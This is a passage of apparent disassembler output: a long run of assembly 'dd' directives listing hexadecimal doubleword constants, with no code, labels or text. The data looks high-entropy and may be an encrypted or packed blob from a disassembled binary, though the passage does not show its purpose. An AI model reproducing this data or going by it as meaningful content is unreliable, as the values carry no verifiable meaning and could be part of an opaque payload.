2DA144D6h, 736248FFh dd 0D57FE6D2h, 836F5125h, 7ABAFA73h, 0A0D88F7Bh, 22BF6082h dd 623459D9h, 22ECD9C9h, 971CBF20h, 0B0CC2B29h, 67D27B45h dd 0EF785B67h, 28CAAC33h, 2E759CA5h, 4C35E542h, 0F2B45F4Ch dd 0AFBE45B7h, 0D4E95EC7h, 6C69C2D6h, 0AC0C2AF0h, 1310CF9Ah dd 7F0E71Fh, 0DB1AC55Ch, 6E7C6943h, 0E217E178h, 0C641D501h dd 25F97CE1h, 5679DA9Ch, 0EACC186Fh, 8806AAD4h, 5095C11Bh dd 0D2C69C9Ch, 0C23BDC1Fh, 54BB16FDh, 0C2E27060h, 0B2DB18E4h dd 0C5F12405h, 27178209h, 0B6237028h, 1F3559E0h, 0AB6340F8h dd 0D7307F8Eh, 0EB918BFEh, 7EC7DD3h, 2D3EC18h, 5B724A4Eh dd 0CFAB8C5Fh, 0A91148C0h, 0E27D74AAh, 7DCBFA0Dh, 0C3668EECh dd 0DC3CE02h, 910DE8E7h, 0ECE431C2h, 9B9E1BE4h, 0E917CE17h dd 0A7E141DEh, 0A78C40BDh, 8EA88EBCh, 0B1E0F28Eh, 6435BFACh dd 9DAAE72Ch, 0B505CA15h, 269D2DD5h, 54092172h, 91D49196h dd 0F8DB0F11h, 0FDEEFC2Ch, 45202B6Fh, 0DD06AB61h, 0E88D65C4h dd 0C30BC64Fh, 4EBB1F39h, 0F6089CADh, 45BDC330h, 0FD0EE2EDh dd 7F858148h, 910A1862h, 8E36184Dh, 0BAA2321Bh, 0C64899E4h dd 62E4C54Eh, 0E60F0230h, 0E0427414h, 31B345E5h, 58B488A1h dd 0E660A672h, 0A7CB6BE4h, 0D3EF14BBh, 58799C78h, 0F12E5F9Ah dd 0F44ACC63h, 5CCE35C5h, 9BC2D115h, 13C689D9h, 4BD1D54Fh dd 18F40A11h, 0E3646346h, 9FC8E5D9h, 4C1F240Ch, 83A79F22h dd 37E26589h, 0C493A4F2h, 99A77F8Ah, 9039CF92h, 7D4721B4h dd 0EE424DB4h, 97B60B0Eh, 0DE4735B5h, 0BE97C85Dh, 7025F0C3h dd 50B13727h, 0C220E2D2h, 4B7F4920h, 2116D429h, 0F97F4074h dd 0AC21D679h, 83246867h, 0B0302B5Eh, 0E732EEEAh, 1A692325h dd 972885Dh, 0D11ADC07h, 5CF3697Ah, 117FF8F5h, 9A7D06BDh dd 9932CBBFh, 0D9E2AA98h, 5A41F4B1h, 0A1C8BD6Dh, 36A50A3Eh dd 0A106DC76h, 0DA6A9486h, 0B275D695h, 0D3CA81CAh, 16409E74h dd 0D9F0D29Bh, 49F9928Ah, 0EA52669Eh, 5600B5EDh, 0F24B68D4h dd 0A6AA6429h, 0C3C5E337h, 33D97BDFh, 0C9A8DC6Ch, 63408AA0h dd 22DEF645h, 5135B5B6h, 8AD37EEFh, 4559B5D9h, 1273A7CEh dd 6EDD0987h, 4C3972DCh, 10C11AFEh, 85E94CA4h, 0EAB51EBFh dd 0A2F215CFh, 6BB4BE04h, 0F8F036C0h, 4BBF8FC7h, 0B71EF983h dd 2A79F7FCh, 5CBC429Dh, 16FDD164h, 0CB093084h, 0A8171D2Eh dd 13742FF9h, 0E05BD73Fh, 51FBBB1Ch, 61383036h, 401A6391h dd 0F8337CAAh, 83D6AF49h, 74F2E616h, 0A1CA12F6h, 11FBF751h dd 6AAF345Ch, 366D9C44h, 73180EC4h, 4F13189Dh, 0AF1719CFh dd 0C9F0B2F1h, 0D405BD7Dh, 6EAE6A3Ah, 8272ABF1h, 5AE92F07h dd 179CCAF4h, 2E2D7ADh, 6D8A4971h, 1EA3FF31h, 0D99D4A2Bh dd 0ABAF28ABh, 5111B7A4h, 0AA3918F4h, 1EC0C48Eh, 0AC4E52Eh dd 0A7619F2Bh, 0BDDB6B3Eh, 0D988645Bh, 0C8AA998Eh, 601A9D61h dd 0FF28DEA9h, 1838F46Eh, 0EDA2D72Dh, 0D3F265DDh, 4D733AF1h dd 61B91D9h, 3CF678A3h, 19A17168h, 96FD08DAh, 0CD7005E2h dd 759580A4h, 0D72B1DC8h dd 2759AC62h, 8EDE4F7Ah, 5255C485h, 280C8553h, 0FBB3C6C4h dd 366D4BF0h, 72693F28h, 2DBFD2A6h, 0B6706AFCh, 5616FCB0h dd 0AF0C46E2h, 0F8D8C098h, 3E507F0Dh, 3E79D26Dh, 217B8C2Ah dd 0DC88398Eh, 0F750DF2Dh, 467492D5h, 0EBA0671Fh, 87CAE504h dd 41300D19h, 0A277FBC9h, 8BDC11A2h, 90014D32h, 0D3B68195h dd 0EBA4A03Bh, 0B56C3E85h, 0BA8CC4A2h, 0EF1253h, 646C0B6h dd 0C63B5E34h, 974BB7A8h, 31C46FB2h, 6ECA8DF5h, 0C9CB570Ah dd 6921581h, 86998424h, 25497657h, 75EC9985h, 0AE2166ADh dd 0A38EF6D9h, 0C2DCA806h, 7B38FE2Dh, 5F3D6136h, 1FE72279h dd 9AD1DEBCh, 561BDE88h, 56F75746h, 384DD584h, 543546D0h dd 9B4FD1F2h, 0A44216A2h, 0FB32DF82h, 0BEFE89DFh, 1BB74F43h dd 0E8F0DFFEh, 279EC6BFh, 76523C98h, 0E2831DD3h, 3E259DC3h dd 19D7EB84h, 1CF441DAh, 196B8207h, 396EDFDBh, 0AF888467h dd 84B36E77h, 0F7FC8DCh, 81F0CEDCh, 7B3FDFE4h, 0E77AEDC1h dd 56AA1C18h, 0EB18C733h, 0FF2B7677h, 0E4DE4D66h, 0B90905B4h dd 9484A08Fh, 54D1D4CAh, 541666Bh, 6F6A9778h, 3730B0E5h dd 9DDDAECAh, 26DC99Bh, 0B566C30h, 506C1A84h, 5AAFF138h dd 3BC4F1E1h, 22D46A08h, 710FCF8Dh, 702485FDh, 8CDDCB1Ch dd 0F34F2C85h, 577B1110h, 0F418FCA2h, 6006699Dh, 7587DB96h dd 0ED315D5Ch, 6BB85369h, 51A3E352h, 0E26BF77Eh, 59A88E23h dd 32FB8946h, 0DF03B76Dh, 0A2725932h, 0C9C555DCh, 0C66A041Ch dd 0C7560253h, 2DF19F45h, 0E47110EDh, 51FBE0CEh, 203AD28Dh dd 415CCEEBh, 794A91E5h, 7F15EBCEh, 0A74EC18Ch, 716EAFDh dd 804CE0h, 92BE4962h, 47A7D029h, 0F3CB94h, 0FA72E3DEh dd 34514891h, 792D53A2h, 0EFED229Ah, 659AFA30h, 0D12D6E42h dd 217345Ch, 43157C6h, 0C923C14Fh, 795ED3Fh, 64EC7FD2h dd 0FA54BCA2h, 40C9499Ah, 683ED328h, 5D7D14B8h, 4216F0DCh dd 0E0B43DA2h, 86DBEB92h, 371E2D1Eh, 0CFDE7000h, 4A0E8B67h dd 39AF613Ch, 976A2E10h, 0B6050C55h, 148A4E0Fh, 29F18391h dd 79EC1893h, 70C640DEh, 4F4A329Fh, 28536F49h, 5FC80863h dd 0A0F11FF9h, 0E452D121h, 60A6B700h, 0B8883CD9h, 23EFE498h dd 0A42745Ch, 0B8DD7D8Dh, 0AAA47EC4h, 93A5FEBFh, 8D49DC04h dd 0C89C76A3h, 4DAF1705h, 74304271h, 18BFA4BFh, 0D57F105h dd 0AEA973E3h, 0A540A623h, 0B7D7FCC8h, 924BC6F9h, 691B9275h dd 0DCC2E006h, 593FD651h, 224C65C8h, 2AACE94Dh, 28A443BFh dd 5B53493Eh, 0A9825F55h, 68CA0465h, 235E80C0h, 39E9BF0Bh dd 30403740h, 94E603F3h, 0E50B4745h, 6FD7C463h, 0E0B4125Dh dd 9F0DD2CBh, 9086147Bh, 3BA7A7A3h, 1BBE127Fh, 0E761C7B7h dd 0C1A945B9h, 0A4B215h, 0E54E2313h, 4F54BB24h, 82076665h dd 0ECF8B15Ah, 1BA71797h, 2D3AA545h, 0E58DFDEAh, 0A559C680h dd 4E127C3Bh, 0C2C84C54h, 17595A57h, 642A3B19h, 0D2776039h dd 3AF6D6F8h, 4A4C1D45h, 78FE3A66h, 6126D8D0h, 0AFE6A898h dd 0C40EEB0Ch, 0BD2AF8B2h, 0C6900A7Bh, 18FE4EBDh, 5E55F143h dd 6F9A76F3h, 29AE13F5h, 0C35C22AEh, 0BDBA7DC3h, 0D98023Bh dd 0AFDDA25Eh, 0BFB8DC7Fh, 84294348h, 56BF39A6h, 4B24D673h dd 68F484B7h, 1DD38F79h, 113583BFh, 0CEC71D8Ch, 9BCD78E2h dd 2D846A08h, 0CBA9A122h, 5D66B6D6h, 9965CDD4h, 4A2BFC5Fh dd 9FF0ECCDh, 0B879AE64h, 6631E9A8h, 0F76173A2h, 294A39A7h dd 82F330E3h, 8F73393Ah, 781C97ECh, 18916D07h, 78846582h dd 194BAC85h, 0C5C4C33Dh, 1AA9826Fh, 0A464FD38h, 0C36AE1EFh dd 0DA4CF1EEh, 0B85791E3h, 33635914h, 0A497404Ch, 18D68341h dd 0FBF1CC0Bh, 9489E9EDh, 775CDFEEh, 2214E2BEh, 0ABE73331h dd 4EC99333h, 5E084F49h, 3B3DC98Ch, 1AA6FEA1h, 163A8AC6h dd 69572432h, 1358BD90h, 0AD8731AEh, 474859Ch, 25A99895h dd 0F7010244h, 28A00597h, 4358AF65h, 79941E7Eh, 0DA636195h dd 0A6283779h, 0E74044A1h, 95FFF141h, 0A8E8002Eh, 11ACA5Ch dd 0BFDCB6D9h, 46DB63D7h, 159B6207h, 0B18E732Eh, 2ADC679Ch dd 0E8AC5A95h, 0CC476B52h, 0DA0E0B8Ch, 55CFF648h, 0FBE6B150h dd 31A126EAh, 0C90C3452h, 2E39B4BFh, 8A4426E0h, 0A081A4Ah dd 8DEC3A9Bh, 0BF7EB936h, 0F5BFA54Ch, 17C3B852h, 0EC351986h dd 296727Fh, 6F9A6DE1h, 97C7E1EBh, 37219CACh, 75743AF2h dd 919BC79Fh, 5B9B6EECh, 62481D3Ah, 7F13B95Ch, 0F448B0A8h dd 7D1425E9h, 9A128FD1h, 54216CADh, 6A377CEFh, 237C1158h dd 2014E1F9h, 0E4CBB55Fh, 0D8CE47B0h, 0FDCC21Bh, 0A80FE101h dd 843E1EDAh, 8558D551h, 0AA847C4Dh, 8FEC1C99h, 0EE02253Ah dd 0AC3AA7CFh, 1F4EFD38h, 6BA458E2h, 52406F94h, 26923739h dd 0ABCA32C5h, 666FE41Fh, 0FB2C148Dh, 0C1ED80D5h, 365737C6h dd 74908CECh, 0A007EF30h, 0AC10C552h, 41D06B41h, 0ED96020Ch dd 77F08494h, 70326771h, 27CCB615h, 0D669E930h, 0BA9C4977h dd 83A530F8h, 1199BEBDh, 0A7577843h, 5987AA71h, 19C33C35h dd 2A8429B1h, 75F0A913h, 44057D20h, 4E7E032Ch, 178EAEDAh dd 4762A9FFh, 5A9E14D1h, 0FCEEDA40h, 7152D90h, 99AD08F0h dd 41B01E98h, 0CE38DD1Dh, 0A3BD9A22h, 0E6B4CC3Fh, 0A2C1E3C3h dd 0A5551FCBh, 0F92C2328h, 7F0F0D8Ah, 917224Bh, 8F3FA6C9h dd 0EFF481E6h, 0C88DC257h, 0C9F271C9h, 0FA0CAC17h, 0C7FFBCAFh dd 0F7657173h, 77640621h, 0B75ABC39h, 473909A2h, 0BC81FC6Bh dd 8DB1DA81h, 13601784h, 976D4D0h, 24F90CFAh, 78EE8684h dd 88786A5Bh, 535C02A4h, 0D34D339Ah, 0D272ECB6h, 56BE8E36h dd 9208D5A8h, 8037737h, 8A9EFDF0h, 64A40E3Fh, 6536FE89h dd 2D91389h, 0BC0C1E94h, 94D885C2h, 280EBE90h, 0EE1F5CA8h dd 7FA05BE3h, 43208664h, 0F5DE7744h, 548A0D3Dh, 86E096E9h dd 0F80FDDB9h, 3BF0FD49h, 53C0916Ah, 4025FFB0h, 0C619040Eh dd 904E9888h, 12E29D1Bh, 0D05F57B5h, 0CD977C72h, 0C9C89EBFh dd 0D638F3Fh, 9C74F5BBh, 105CCD4Bh, 9F0F7E29h, 9992F714h dd 968B344Ah, 54F8C50Fh, 541B28E5h, 0CE289571h, 19806B6Dh dd 6BB21EE4h, 98296194h, 0EA44AA4h, 217EFE6Eh, 81ABE955h dd 7EF36187h, 0BA0DFF3Ch, 14BB5B24h, 0BEA31993h, 0EF7B3259h dd 1A4C045Ch, 6DA73263h, 8FB74A22h, 0C40918D5h, 8E7EBCF4h dd 4EEED44h, 6D51807Ch, 275360E8h, 2E2BCE93h, 31975591h dd 0A814250Ch, 0A6FC9A1h, 0CB7D1BE2h, 8BCEE074h, 242B5B6Fh dd 64CDB9FBh, 6E0A15F8h, 2221E706h, 0E8CE6072h, 9F9B655Bh dd 7AF8EB00h, 4C6529E0h, 0DB46E617h, 3E2BFDD8h, 3375A21Fh dd 3D1E7A97h, 0F9FD3225h, 7714D22Bh, 0DF3646B0h, 94414405h dd 0DD95DF63h, 0DBBB29A0h, 0C9FE1060h, 0BFAF25FCh, 0FFA614FFh dd 6AD6D4B7h, 4E7CBE9Fh, 88F148B2h, 9A705B61h, 0CC7F094h dd 4C7A9A3Fh, 5F62ACB2h, 28CE9CEFh, 0A1D8559Eh, 0E67BDB35h dd 290B3829h, 0B806B156h, 8C542B58h, 101B3702h, 518417B8h dd 31821110h, 0ACA2CC61h, 36D7C320h, 6907262Eh, 8BAC0531h dd 0E7BDB8E8h, 0EE854302h, 0DA6994ABh, 8B985B84h, 919B59C4h dd 125B8B28h, 0EDB24695h, 0DFAD2E96h, 99B999BAh, 5C0A8873h dd 0A2D0E31Bh, 7DDECEF6h, 0E06120E7h, 6FBA873Ch, 0F30F41F0h dd 79DA0FEFh, 25CBD2D6h, 0F6C905B0h, 5762A607h, 5260581Ah dd 0BCF86D45h, 888E94F7h dd 0DF9C0234h, 18B134Ch, 89CE7803h, 0E4AC0A5Eh, 0C2BCAD11h dd 6623A36Ah, 7568DDDh, 232A9680h, 9BE19701h, 0F647038Dh dd 1CEC7BD4h, 0A74A86B6h, 0CF232C73h, 0D0A24E6h, 0ECFF10F3h dd 928C018Ah, 24DBB13Dh, 475BBA2Dh, 6CF86426h, 0D10D0933h dd 0C5872632h, 0CE2284A1h, 57F4CEA4h, 0A49C17ACh, 0B57EBA19h dd 7AA05E3Bh, 0C9ADD64Dh, 0E6488D8Fh, 9BFC1C77h, 4F414B17h dd 739A53E8h, 77DCAEB8h, 7178C405h, 2F6B45EDh, 6B45866h dd 9D6E25DCh, 97EC35DEh, 8655F6B2h, 0C53508D8h, 0E3C2C7CEh dd 19DD2589h, 76F76AC9h, 0B61ACF35h, 0EFECD0B6h, 33A57B0Fh dd 0D5ECB372h, 814B691Ch, 459039DBh, 28B00B17h, 2812B90Bh dd 70D9F9E8h, 9C581415h, 0CFA933E7h, 0ED7F4671h, 0E3EA46F9h dd 8B447D9Ch, 8B31BF1Dh, 9C79BEF1h, 0EAA96157h, 0DA4281Dh dd 3A9E3604h, 0C9B331F8h, 6D0D52A9h, 0F3DE284Ah, 0A5B26641h dd 64D5D7A1h, 9D2E912Ah, 23AA7007h, 180E79EDh, 656DA119h dd 0ABCEB9F4h, 97086ADAh, 76A4C8B8h, 0E2899603h, 0B1C6EA36h dd 519A3A3h, 6459B8BBh, 80B93355h, 3DE5C9D1h, 9CDAC891h dd 0D3AE3E6Fh, 0A68E9822h, 0EECC8606h, 0B55972A1h, 5BBDE1AEh dd 0E6093876h, 0BDD6AEEDh, 1FCFEF83h, 65877DECh, 0ED9906h dd 6E230190h, 4A4470D8h, 7B39D852h, 3658DF08h, 1792C2E4h dd 65925D15h, 0D5D0ED8h, 4E5CED59h, 0A9D6D923h, 0B1D9DCAAh dd 799C87A2h, 70E87DBh, 2C1576BEh, 0BDABFA99h, 478816BFh dd 0D4C3F52h, 67D5EF77h, 0D5AF5441h, 0C5373243h, 17C92781h dd 91AAB76Eh, 88343659h, 0E648B9F1h, 0A0D6D40Ch, 6A1A5726h dd 7E13A49Bh, 76A69F9Fh, 0F9E74879h, 0DE83FF43h, 0F9E2166Bh dd 244A1A3Dh, 8DF122AEh, 0BAB08C42h, 0B60C79AAh, 0B64F3CC8h dd 0D89DD0FFh, 0A079F0CFh, 0FE563160h, 8EB1067Eh, 0D3685607h dd 0CB9BD910h, 59EDCF92h, 0AA47AC8Fh, 45483FE8h, 5805558h dd 60BE5F3Fh, 7BD31120h, 42BC06CEh, 5011952Eh, 30D3BE15h dd 6C5526AEh, 780011AFh, 0C067B496h, 0EA5F3596h, 0CB256CBDh dd 7FD6E40Ah, 0DA8B07E8h, 0A06AE90h, 8963973Ch, 0AC75BEFFh dd 0EAB83047h, 9CF8A288h, 0B8CBD64Fh, 0EA4EAEBBh, 94DB0EA3h dd 3AD7C7D5h, 0C1E1F47Eh, 2E157E77h, 7C54E220h, 4843D855h dd 0CE6D121Dh, 5CE78E99h, 6FFEDA50h, 2096BBD2h, 0A247EF92h dd 0D195214Dh, 0E24D54E4h, 1EEB7E53h, 4FA39DCBh, 6A75AE34h dd 148B4866h, 3ECE7199h, 0A9148F90h, 0DE512549h, 4AC44488h dd 5BA778D6h, 45AE93C7h, 264860E3h, 8C952817h, 0D2BA6E27h dd 0BE5C23C7h, 0D64815D2h, 62068AF5h, 4379842Fh, 4E5901DFh dd 0EDDDD0A5h, 6631F2FCh, 2F30125Bh, 0D9577D0Dh, 0E6A274B2h dd 0AEA56D8Bh, 6E9C7860h, 60B493B6h, 0DEF31A1Dh, 8F46D4B3h dd 0E7BBF498h, 0C8A68D6h, 0F79DDCBh, 17BDD7D9h, 312B3FA3h dd 0B824B6A3h, 9B6A134Eh, 0FC8AA63Bh, 52562598h, 25A264D6h dd 3DFCD501h, 6588B776h, 78EEE42Fh, 11C36403h, 5FBFC08Ch dd 0FA4635A1h, 1C399920h, 0D5D58F23h, 37DB4Ch, 0AA4632E5h dd 248A66A0h, 458CBDAh, 348B77C8h, 2909FEFEh, 5164750Eh dd 0A82F4E83h, 7080D52Ah, 3658897h, 13CA42AFh, 48636451h dd 6E4F46ABh, 0A5E5ED88h, 0A44F5FFFh, 14275EDFh, 1828392Ch dd 0DDB0971Fh, 6B68D3EFh, 8D4FBEB3h, 0CDDDCDC8h, 0BDB40E4Fh dd 7945FFD7h, 0C8A4208Ah, 2778A577h, 0F6270B11h, 975C42B4h dd 63A8D4D1h, 0F493937Dh, 75F559CDh, 0AB039204h, 56802A76h dd 0FC4DBF8Eh, 0D72E7032h, 8DF30750h, 792B887Eh, 12328C7Ch dd 2751BBA2h, 855213BAh, 3D435218h, 0EA6B04B9h, 6FC828F9h dd 77358CBAh, 682DD8B0h, 749DEF2Bh, 1373D41Fh, 0A03BA616h dd 318151C3h, 0A293E9D5h, 0E46A34DAh, 91F0D24Ch, 411C97ABh dd 38BA4F58h, 5DB3104Bh, 8BF4933Bh, 1F134CACh, 12D22316h dd 8EFD916Bh, 0C5599C7Ch, 0B88AFF9Bh, 0F695464Ah, 78B12C51h dd 0C2C2B28Dh, 73B4DE57h, 0E17B4F69h, 0EFA94374h, 0A78E5654h dd 991161EDh, 47BD5A2Fh, 0E58CA0C8h, 9EF0A519h, 313266FCh dd 0BF7EFF64h, 3F710CE4h, 452D8D35h, 0B8FB7181h, 838F9C66h dd 928700E7h, 0A2BEDCDEh, 2A3D2634h, 0C98A8B10h, 0CCA5B1EEh dd 7EACF225h, 5F128625h, 2924F2E9h, 249B8F33h, 98B6D036h dd 6C722428h, 0B0E18645h, 7BF48613h, 0C56A06C8h, 6101C338h dd 637C55A7h, 0A0BB3B02h, 0A8E9802Fh, 545111BFh, 0AB2B920Dh dd 69B61172h, 1CA32693h, 2F531FAAh, 640CCFA8h, 3B27A3D9h dd 0D5360AB0h, 32D38F6Dh, 717683C1h, 0BB373778h, 7278A589h dd 6F3AAF09h, 0FC7E8D9Ah, 2AF08523h, 24C94A74h, 1684AE78h dd 9FAED14Dh, 5EF8A91h, 0D6535D2Ah, 43756A3Fh, 247A1048h dd 57CBCABh, 51C98BDh, 0AE2D0EE4h, 88A47D10h, 75FB3947h dd 0D4E0BF8Dh, 6821072h, 53A4AAB7h, 8B4DA0Eh, 171073F7h dd 2ACCE009h, 3CEA57BEh, 52B47878h, 0E8E8BE35h, 0A8EFBA4Ch dd 289D8A31h, 0A090D31Ah, 0AAED508Bh, 320B1E54h, 0DE1B4238h dd 0FD1C3F3Ah, 9EAE7A37h, 0FDC7B441h, 3D729B7Bh, 0D5462065h dd 0DA576821h, 2765F499h, 3D1A9C44h, 8023859Dh, 0F4A1A458h dd 0CA2FFB5Ch, 0EC4E1205h, 33D11693h, 55EB6539h, 0B89D246Bh dd 8B8B10E6h, 7337BBB7h, 63C30926h, 8F26DA91h, 8C1E034h dd 75E75326h, 0FD70956Fh, 4B21C69Bh, 1C2C58FDh, 8DBE20F2h dd 277E2851h, 0B9B5C6C0h, 0A5EA99DAh, 351A3C70h, 0F0DD543Eh dd 888C25D5h, 33EDAF7Fh, 0ABA01F06h, 1E9B3320h, 0BB36A544h dd 4414CA44h, 0C92BE92Ch, 7D25A93Ah, 4EB288D6h, 0CD5E0D7Eh dd 0E5A35409h, 6FC37Ch, 0C17C7880h, 4B95E543h, 0AFE3975h dd 0B90B934Ah, 2C53F959h, 0A44C92BFh, 90543CB1h, 2D8B152Fh dd 0A1A66822h, 0A33401E8h, 0A8B6467Fh, 0DA13C7C2h, 746001E6h dd 81E48DF2h, 75881CC7h, 0CA99B291h, 0DE635F5h, 7B74E4h dd 56A70BC5h, 0D985DEDEh, 0CC4AF7ECh, 0DE841B16h, 63CDF994h dd 2DF8201Eh, 0D3938FAAh, 0EA3BE12Bh, 1955869Eh, 8EEBC11Dh dd 94C7FAA2h, 1915339h, 0A0D3E78Dh, 99844E58h, 62683EE7h dd 2F54085Ah, 0BD77B6BBh, 0DDD1AF3Dh, 0F648D881h, 1BF2453Fh dd 1A5251Bh, 9156666Eh, 68B4F9E4h, 3BA34F6Bh, 5C3DC086h dd 0CE40F9B8h, 3DBC2AC3h, 0F36BED3Eh, 6DF5AB0Ch, 395FFCDDh dd 0A1C08C16h, 76294AF9h, 56BA4793h, 5EEAC68Ah, 0C52D69A8h dd 5177BB85h, 685DD6B5h, 9008718Eh, 75C55DF9h, 41C34B2Ah dd 9E3CFC2Bh, 0D06AE4D6h, 0EF7F825h, 88C4B61Fh, 0E0578B7Fh dd 34CEB198h, 4C6C8223h, 64270083h, 730249A8h, 524C2333h dd 93B46C48h, 3E3FCDE5h, 31CCAF88h, 5D905F23h, 0C426AA2h dd 0A9B87E69h, 10B44967h, 8CC38E03h, 0BC7C5C97h, 2D97337Eh dd 9F398F31h, 510A3FFCh, 818AAA3h, 3A554508h, 1CF5AD66h dd 0EBB25F69h, 51E0C186h, 0DBE7E5C1h, 3C41C0E1h, 39BDDF40h dd 0FC8E0ECDh, 0CF90BF53h, 0C4E82FEFh, 0E683B861h, 7AD020F6h dd 0C164452Fh, 0E9EBC391h, 9D223FFBh, 58206BA7h, 0F4A7EF62h dd 90C9C417h, 57C7A123h, 82AC3ADDh, 0F424623Ch, 5D1A49FCh dd 72CD48C6h, 0F1C2E799h, 0B69D616Ah, 0A3617C22h, 0F0603ECDh dd 8C18C83Ah, 768AC15Fh, 6814E450h, 4CB2F096h, 0BACC4D8Dh dd 4C3E36A7h, 7FFD2179h, 518263FAh, 3DC22D41h, 5A83D0B0h dd 0BE85A277h, 0A14ED312h dd 10D963F5h, 0F6FA4D05h, 0DE003E69h, 0A18B09BEh, 0BCCE60B3h dd 0DE30C8F5h, 97234C58h, 36025020h, 0A82E1FFDh, 0C852C67Ah dd 0E076AB56h, 0F1EDC972h, 0F67CD0FCh, 5B00454Eh, 0DB06A0D5h dd 2BB20D36h, 312EE9DAh, 0A37A6F75h, 0F3F517DEh, 9F5CFB75h dd 44A5328Fh, 383C314Fh, 48684901h, 0EDD3BC2Dh, 0CE44F1B3h dd 0CE23B855h, 0B1FC091Eh, 0ECADB0Bh, 3806CAAh, 4409E231h dd 24370FBCh, 53EF704Ch, 6E0ECC55h, 679FFB15h, 0A41C0A8Dh dd 6E45BDF8h, 416EE623h, 32841BD3h, 414671FBh, 0BC67C0D1h dd 5ABE5003h, 843FDB6Dh, 6261C750h, 4F973BB4h, 54C933FBh dd 0BB661EF1h, 134547F2h, 0BEFB7F76h, 0DBD53402h, 0DD94811Eh dd 175D2C80h, 1D1EDA6Bh, 9F6C0795h, 1CBD5711h, 0A9CD480Fh dd 6E0413A0h, 90CBBB3Fh, 492DD8F0h, 0DC83EC51h, 342A2772h dd 0DA66BCDDh, 0F18BE304h, 1DD99A94h, 63D3B60Ah, 88402D27h dd 3740368Ch, 49F8292Ah, 22970FA1h, 0D6D5A9D5h, 0BE205F7Ah dd 90ECCAB7h, 0FF518DB7h, 712E05E3h, 0C22A9649h, 40B73FE3h dd 66494C9Dh, 865F8B8h, 0DD33A2CBh, 0AD119347h, 0E7DE24EFh dd 19F226D2h, 28EC2C41h, 0E07E014Bh, 1D241BD1h, 0AF217FF1h dd 0A2CF8B8Fh, 1DA77550h, 6F4C5D67h, 0F66EBD95h, 4DDCF8CAh dd 0EB85E785h, 4FE7467Bh, 8D33F558h, 0C0BCA777h, 191544AAh dd 113F182Dh, 493CEE96h, 6FEC79CEh, 0AE256FF8h, 2FEC2C50h dd 5243B8Ah, 0C83FE83Eh, 8455BE0Eh, 86254BA6h, 492A26CFh dd 5861768Ch, 0F83310F1h, 72995116h, 36762050h, 0A156F712h dd 9DF326C3h, 0C6D03C9Ah, 6E32A6B3h, 746D2B93h, 0E68D125h dd 5E17B493h, 15D552F9h, 0CC018170h, 9200CF0Bh, 8F1E2067h dd 0C94F6F24h, 0A4A7B258h, 0C7FD5A7Ah, 793FD120h, 0DA0E12BBh dd 0CC54500Fh, 88E7B5B5h, 37AB21A8h, 0A0378A35h, 4A85044Eh dd 597C5074h, 574D1B7Eh, 3C62D9DDh, 9C94E6Dh, 21CBCD39h dd 2F7F06EBh, 79F62D83h, 71AE3E02h, 236A2B36h, 0B4BA9892h dd 4B4DF8C4h, 0CA2DCB66h, 0BFA1898Ah, 79853652h, 422399C0h dd 67090770h, 76951E7Dh, 0F137CE04h, 0AF71438h, 0B12CE99Ah dd 5AB67E70h, 79A74AFBh, 0CED266A0h, 0C78BCDFh, 0E579D6E2h dd 406B4F9Fh, 22F3E2BDh, 0CE878864h, 0C97C4B9Fh, 0FA1AF41Fh dd 0C281FEE5h, 42FBAC88h, 0B78EA99Ch, 0A539D87Ch, 98BC44B0h dd 0FFA3FF73h, 0C5D574EAh, 2FC3FF90h, 76B92C0h, 0EB93A45Ah dd 0C9844482h, 0E5ACB236h, 7ACEABD1h, 946CD6FBh, 2DEBE240h dd 2664DAD6h, 0A55E52AAh, 1C3798FFh, 3593C77Ch, 62A6981Fh dd 7CE2F14Ah, 9690B4D7h, 9E523C52h, 4E403DC3h, 0D2412E2Dh dd 4E950A74h, 4CF4E45Eh, 0DE07E1B4h, 7FF2B0A9h, 8BD2E1CEh dd 7FD40AB7h, 456E5CC2h, 3B95FEDEh, 70FDB154h, 0A6E516BEh dd 2CF7AF90h, 6691665Fh, 8EAD678Dh, 9C1FEA1Fh, 0A35E0EB1h dd 68B5141Eh, 0E89FC1AFh, 2B788F2Fh, 15125B0Fh, 7CFB0FCFh dd 0AA03965Ch, 86C45B2Ah, 0C1D3EAA6h, 56C6B870h, 34CAE938h dd 6590BAF8h, 3EAA7066h, 0BCD477C4h, 0DFECD7A4h, 5C2ED663h dd 0F58BF782h, 97BB67AAh, 0F0AF1634h, 93F9D49Dh, 0C00DE4D2h dd 7A75B97Ah, 4E284CFCh, 0A823CC45h, 7B617113h, 836F3EB1h dd 0CA13F631h, 715D6F93h, 47EFD128h, 16A7ED64h, 70959A77h dd 0D41EFC81h, 35E520A4h, 0AFB54FF3h, 84597AF5h, 759D4B8Fh dd 6DBBED1Dh, 0BB867B1Ch, 42EDEE9Ah, 54847EE3h, 4763E7C2h dd 1F2C700Dh, 0F82E2E9Ch, 1C1AA909h, 0DE4C4860h, 0E77AB9D4h dd 0C2A4ED5h, 0E7D954F9h, 8F7B04EDh, 114A45FEh, 1668EAC8h dd 0F510CDE2h, 0D3947775h, 8BC2991h, 0C4C3D4CFh, 475B6511h dd 0DDFB248Eh, 66DED411h, 0EF224186h, 686C9366h, 0E2AD476Ch dd 39B0A863h, 264542B1h, 38177618h, 55357184h, 0D43A3C6h dd 6CBDD6E9h, 0D29D89D4h, 1FB82F77h, 0FF552A9Ah, 997FAD82h dd 2B920E78h, 6DB9B6Ah, 0C5F0C553h, 0EEDF5D16h, 5EB6EBACh dd 20C65C3Fh, 0DFE8C9B0h, 17829A9Dh, 0F31031Ah, 0C7689650h dd 0DD4F72BCh, 0D033311Dh, 7CEA865Bh, 5E161C8Ah, 0B3DD1145h dd 124E9D7Fh, 9292B94Eh, 0CF407138h, 1BC03704h, 24E07495h dd 0F3FC8BDh, 0E54422DCh, 0D3F31BDEh, 8CCA5332h, 0CD4F358Ch dd 93F1DF88h, 6200ED6h, 0C73C7628h, 0B661EC70h, 1EDD3748h dd 202F1192h, 0A28F70DBh, 7AAD9DABh, 41D2F257h, 5E67360Ah dd 7957C258h, 4A97DCB4h, 0FD6B8E04h, 0A0E63877h, 633A0722h dd 8A8C6C70h, 64DC4FB7h, 0F1EB5425h, 0E33B4EF7h, 6C372F84h dd 0E1C2EB2Dh, 406089ABh, 7DE152BCh, 11B66A7h, 0D28D0FCEh dd 54FC854Ah, 0EB38475Ch, 25A88ECDh, 0F22DD28Fh, 6FC6886Ch dd 25A3B41Ah, 946C80D7h, 0E9C7645Ch, 13C645Bh, 710BDD2Ah dd 0D7248A8Dh, 2BB7BFE7h, 7E842EEAh, 0BDCA934Fh, 0B14DF746h dd 8EBA52B9h, 0E66C76AFh, 7B07ACE7h, 